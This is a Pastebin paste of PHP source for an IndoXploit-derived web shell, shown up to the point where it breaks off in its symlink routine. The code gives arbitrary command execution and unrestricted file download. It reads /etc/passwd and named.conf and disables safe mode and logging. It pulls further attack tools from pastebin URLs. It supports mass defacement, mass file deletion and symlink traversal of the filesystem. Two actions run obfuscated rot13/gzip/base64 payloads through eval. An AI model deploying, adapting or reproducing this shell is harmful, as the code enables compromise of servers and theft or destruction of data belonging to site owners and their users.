Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @session_start();
- @error_reporting(0);
- @error_log(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
- if( empty( $lol ) ||
- ( isset( $_POST['--00--'] ) && ( md5($_POST['--00--']) == $lol ) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- printLogin();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <html>
- <head>
- <title>--00--</title>
- <link href='http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&path-prefix=es' rel='icon' type='image/x-icon'/>
- <meta name='author' content='IndoXploit'>
- <meta charset="UTF-8">
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Abel);
- @import url(http://cdn.poln.biz/css1.css?family=Abel);
- html {
- background: #000000;
- color: #ffffff;
- font-family: 'Abel';
- font-size: 13px;
- width: 100%;
- }
- li {
- display: inline;
- margin: 5px;
- padding: 5px;
- }
- table, th, td {
- border-collapse:collapse;
- font-family: Tahoma, Geneva, sans-serif;
- background: transparent;
- font-family: 'Abel';
- font-size: 13px;
- }
- .table_home, .th_home, .td_home {
- border: 1px solid #ffffff;
- }
- th {
- padding: 10px;
- }
- a {
- color: #ffffff;
- text-decoration: none;
- }
- a:hover {
- color: gold;
- text-decoration: underline;
- }
- b {
- color: gold;
- }
- input[type=text], input[type=password],input[type=submit] {
- background: transparent;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Abel';
- font-size: 13px;
- }
- textarea {
- border: 1px solid #ffffff;
- width: 100%;
- height: 400px;
- padding-left: 5px;
- margin: 10px auto;
- resize: none;
- background: transparent;
- color: #ffffff;
- font-family: 'Abel';
- font-size: 13px;
- }
- select {
- background: transparent;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Abel';
- font-size: 13px;
- }
- .but {
- background: transparent;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Abel';
- font-size: 13px;
- }
- </style>
- </head>
- <?php
- if (file_exists("php.ini")){
- }else{
- $img = fopen('php.ini', 'w');
- $sec = "safe_mode = OFF
- disable_funtions = NONE";
- fwrite($img ,$sec);
- fclose($img);}
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- $info = 'p';
- } else {
- $info = 'u';
- }
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilWord($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- if(get_magic_quotes_gpc()) {
- function idx_ss($array) {
- return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
- }
- $_POST = idx_ss($_POST);
- }
- function CreateTools($names,$lokasi){
- if ( $_GET['create'] == $names ){
- $a= "".$_SERVER['SERVER_NAME']."";
- $b= dirname($_SERVER['PHP_SELF']);
- $c = "/00_tools/".$names.".php";
- if (file_exists('00_tools/'.$names.'.php')){
- echo '<script type="text/javascript">alert("Done");window.location.href = "00_tools/'.$names.'.php";</script> ';
- }
- else {mkdir("00_tools", 0777);
- file_put_contents('00_tools/'.$names.'.php', file_get_contents($lokasi));
- echo ' <script type="text/javascript">alert("Done");window.location.href = "00_tools/'.$names.'.php";</script> ';}}}
- CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
- CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
- CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
- CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
- CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
- CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
- CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
- CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
- CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
- CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
- CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
- CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
- CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
- CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
- CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($_GET['dir']);
- } else {
- $dir = getcwd();
- }
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
- $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
- $ds = @ini_get("disable_functions");
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $d0mains = @file("/etc/named.conf");
- $users=@file('/etc/passwd');
- if($d0mains)
- {
- $count;
- foreach($d0mains as $d0main)
- {
- if(@ereg("zone",$d0main))
- {
- preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2)
- {
- flush();
- $count++;
- }
- }
- }
- }
- $sport=$_SERVER['SERVER_PORT'];
- echo "<table style='width:100%'>";
- echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
- echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
- echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
- echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
- echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
- echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
- echo "<tr><td>Safe Mode: $sm</td></tr>";
- echo "<tr><td>Disable Functions: $show_ds</td></tr>";
- echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
- echo "<tr><td>Current DIR: ";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }
- }
- echo "'>$cdir</a>/";
- }
- echo "</td></tr></table><hr>";
- echo "<center>";
- echo "<ul>";
- echo "<li>[ <a href='?'>Home</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
- echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
- echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
- echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
- echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
- echo "</ul>";
- echo "</center>";
- echo "<hr>";
- if($_GET['do'] == 'upload') {
- echo "<center>";
- if($_POST['upload']) {
- if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- }
- echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
- echo $act;
- echo "</center>";
- }
- elseif($_GET['do'] == 'cmd') {
- echo "<form method='post'>
- <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
- <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- } elseif($_GET['do'] == 'mass_deface') {
- echo "<center><form action=\"\" method=\"post\">\n";
- $dirr=$_POST['d_dir'];
- $index = $_POST["script"];
- $index = str_replace('"',"'",$index);
- $index = stripslashes($index);
- function edit_file($file,$index){
- if (is_writable($file)) {
- clear_fill($file,$index);
- echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
- }
- else {
- echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
- }
- }
- function hapus_massal($dir,$namafile) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- if(file_exists("$dir/$namafile")) {
- unlink("$dir/$namafile");
- }
- } elseif($dirb === '..') {
- if(file_exists("".dirname($dir)."/$namafile")) {
- unlink("".dirname($dir)."/$namafile");
- }
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- if(file_exists($lokasi)) {
- echo "[<font color=lime>DELETED</font>] $lokasi<br>";
- unlink($lokasi);
- $idx = hapus_massal($dirc,$namafile);
- }
- }
- }
- }
- }
- }
- }
- function clear_fill($file,$index){
- if(file_exists($file)){
- $handle = fopen($file,'w');
- fwrite($handle,'');
- fwrite($handle,$index);
- fclose($handle); } }
- function gass(){
- global $dirr , $index ;
- chdir($dirr);
- $me = str_replace(dirname(__FILE__).'/','',__FILE__);
- $files = scandir($dirr) ;
- $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
- sort($files);
- $n = 0 ;
- foreach ($files as $file){
- if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
- echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
- edit_file($file,$index);
- flush();
- $n = $n +1 ;
- }
- }
- echo "<br>";
- echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
- }
- function ListFiles($dirrall) {
- if($dh = opendir($dirrall)) {
- $files = Array();
- $inner_files = Array();
- $me = str_replace(dirname(__FILE__).'/','',__FILE__);
- $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
- while($file = readdir($dh)) {
- if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
- if(is_dir($dirrall . "/" . $file)) {
- $inner_files = ListFiles($dirrall . "/" . $file);
- if(is_array($inner_files)) $files = array_merge($files, $inner_files);
- } else {
- array_push($files, $dirrall . "/" . $file);
- }
- }
- }
- closedir($dh);
- return $files;
- }
- }
- function gass_all(){
- global $index ;
- $dirrall=$_POST['d_dir'];
- foreach (ListFiles($dirrall) as $key=>$file){
- $file = str_replace('//',"/",$file);
- echo "<center><strong>$file</strong> ===>";
- edit_file($file,$index);
- flush();
- }
- $key = $key+1;
- echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['mass'] == 'onedir') {
- echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
- $ini="http://";
- $mainpath=$_POST[d_dir];
- $file=$_POST[d_file];
- $dir=opendir("$mainpath");
- $code=base64_encode($_POST[script]);
- $indx=base64_decode($code);
- while($row=readdir($dir)){
- $start=@fopen("$row/$file","w+");
- $finish=@fwrite($start,$indx);
- if ($finish){
- echo"$ini$row/$file\n";
- }
- }
- echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
- $mainpath=$_POST[d_dir];$file=$_POST[d_file];
- $dir=opendir("$mainpath");
- $code=base64_encode($_POST[script]);
- $indx=base64_decode($code);
- while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
- $finish=@fwrite($start,$indx);
- if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
- }
- }
- elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
- elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
- elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
- elseif($_POST['mass'] == 'massdeface') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>"; }
- else {
- echo "
- <center><font style='text-decoration: underline;'>
- Select Type:<br>
- </font>
- <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
- <option value=\"onedir\">Mass Deface 1 Dir</option>
- <option value=\"massdeface\">Mass Deface ALL Dir</option>
- <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
- <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
- <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>Hacked By --00--</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- }
- elseif($_GET['do'] == 'zip') {
- echo "<center><h1>Zip Menu</h1>";
- function rmdir_recursive($dir) {
- foreach(scandir($dir) as $file) {
- if ('.' === $file || '..' === $file) continue;
- if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
- else unlink("$dir/$file");
- }
- rmdir($dir);
- }
- if($_FILES["zip_file"]["name"]) {
- $filename = $_FILES["zip_file"]["name"];
- $source = $_FILES["zip_file"]["tmp_name"];
- $type = $_FILES["zip_file"]["type"];
- $name = explode(".", $filename);
- $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
- foreach($accepted_types as $mime_type) {
- if($mime_type == $type) {
- $okay = true;
- break;
- }
- }
- $continue = strtolower($name[1]) == 'zip' ? true : false;
- if(!$continue) {
- $message = "Itu Bukan Zip , , GOBLOK COK";
- }
- $path = dirname(__FILE__).'/';
- $filenoext = basename ($filename, '.zip');
- $filenoext = basename ($filenoext, '.ZIP');
- $targetdir = $path . $filenoext;
- $targetzip = $path . $filename;
- if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
- mkdir($targetdir, 0777);
- if(move_uploaded_file($source, $targetzip)) {
- $zip = new ZipArchive();
- $x = $zip->open($targetzip);
- if ($x === true) {
- $zip->extractTo($targetdir);
- $zip->close();
- unlink($targetzip);
- }
- $message = "<b>Sukses Gan :)</b>";
- } else {
- $message = "<b>Error Gan :(</b>";
- }
- }
- echo '<table style="width:100%" border="1">
- <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
- <label>Zip File : <input type="file" name="zip_file" /></label>
- <input type="submit" name="submit" value="Upload And Unzip" />
- </form>';
- if($message) echo "<p>$message</p>";
- echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
- if($_POST['backup']){
- $save=$_POST['save'];
- function Zip($source, $destination)
- {
- if (extension_loaded('zip') === true)
- {
- if (file_exists($source) === true)
- {
- $zip = new ZipArchive();
- if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
- {
- $source = realpath($source);
- if (is_dir($source) === true)
- {
- $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
- foreach ($files as $file)
- {
- $file = realpath($file);
- if (is_dir($file) === true)
- {
- $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
- }
- else if (is_file($file) === true)
- {
- $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
- }
- }
- }
- else if (is_file($source) === true)
- {
- $zip->addFromString(basename($source), file_get_contents($source));
- }
- }
- return $zip->close();
- }
- }
- return false;
- }
- Zip($_POST['dir'],$save);
- echo "Done , Save To <b>$save</b>";
- }
- echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
- if($_POST['extrak']){
- $save=$_POST['save'];
- $zip = new ZipArchive;
- $res = $zip->open($_POST['dir']);
- if ($res === TRUE) {
- $zip->extractTo($save);
- $zip->close();
- echo 'Succes , Location : <b>'.$save.'</b>';
- } else {
- echo 'Gagal Mas :( Ntahlah !';
- }
- }
- echo '</tr></table>';
- }
- elseif($_GET['do'] == 'shellchk') {
- eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
- } elseif($_GET['do'] == 'loghunter')
- {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
- elseif($_GET['do'] == 'metu') {
- echo '<form action="?dir=$dir&do=metu" method="post">';
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo 'Byee !';
- }
- elseif($_GET['do'] == 'about') {
- echo '<center>--00-- Shell<hr>IndoXploit Shell Recoded By --00--<br>For More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
- }
- elseif($_GET['do'] == 'symlink') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- $d0mains = @file("/etc/named.conf");
- ##httaces
- if($d0mains){
- @mkdir("cox_sym",0777);
- @chdir("cox_sym");
- @exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex --00--.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <table align=center border=1 style='width:60%;border-color:#333333;'>
- <tr>
- <td align=center><font size=2>S. No.</font></td>
- <td align=center><font size=2>Domains</font></td>
- <td align=center><font size=2>Users</font></td>
- <td align=center><font size=2>Symlink</font></td>
- </tr>";
- $dcount = 1;
- foreach($d0mains as $d0main){
- if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
